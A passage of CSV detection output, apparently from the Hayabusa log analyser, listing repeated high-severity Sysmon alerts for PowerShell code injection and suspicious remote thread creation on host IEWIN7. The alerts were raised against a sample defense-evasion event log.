+09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.426 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.458 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.458 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.473 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.473 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.489 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.489 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.505 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.505 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.520 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.520 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.536 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.536 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.551 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.551 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.567 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.567 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.583 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.583 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.598 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.598 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.614 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.614 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.630 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.630 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.661 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.661 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.692 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.692 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.708 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.708 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.723 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.723 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.739 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.739 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.755 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.755 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.770 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.770 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.801 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.801 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.817 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.817 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.833 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.833 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.848 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.848 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.864 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.864 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.880 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.880 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.895 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.895 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.926 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.926 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.942 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.942 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.973 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.973 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.989 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:16.989 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.005 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.005 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.020 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.020 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.036 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.036 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.051 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.051 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.083 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.083 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.098 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.098 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.114 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.114 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.130 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.130 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.145 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.145 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.161 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.161 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.176 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.176 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.192 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.192 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.208 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.208 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.223 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.223 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.239 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.239 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.270 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.270 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.286 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.286 +09:00,IEWIN7,8,high,Suspicious Remote Thread Created,,rules/sigma/create_remote_thread/sysmon_suspicious_remote_thread.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.301 +09:00,IEWIN7,8,high,Accessing WinAPI in PowerShell. Code Injection.,,rules/sigma/create_remote_thread/sysmon_powershell_code_injection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_unmanagedpowershell_psinject_sysmon_7_8_10.evtx +2019-05-19 02:16:17.301 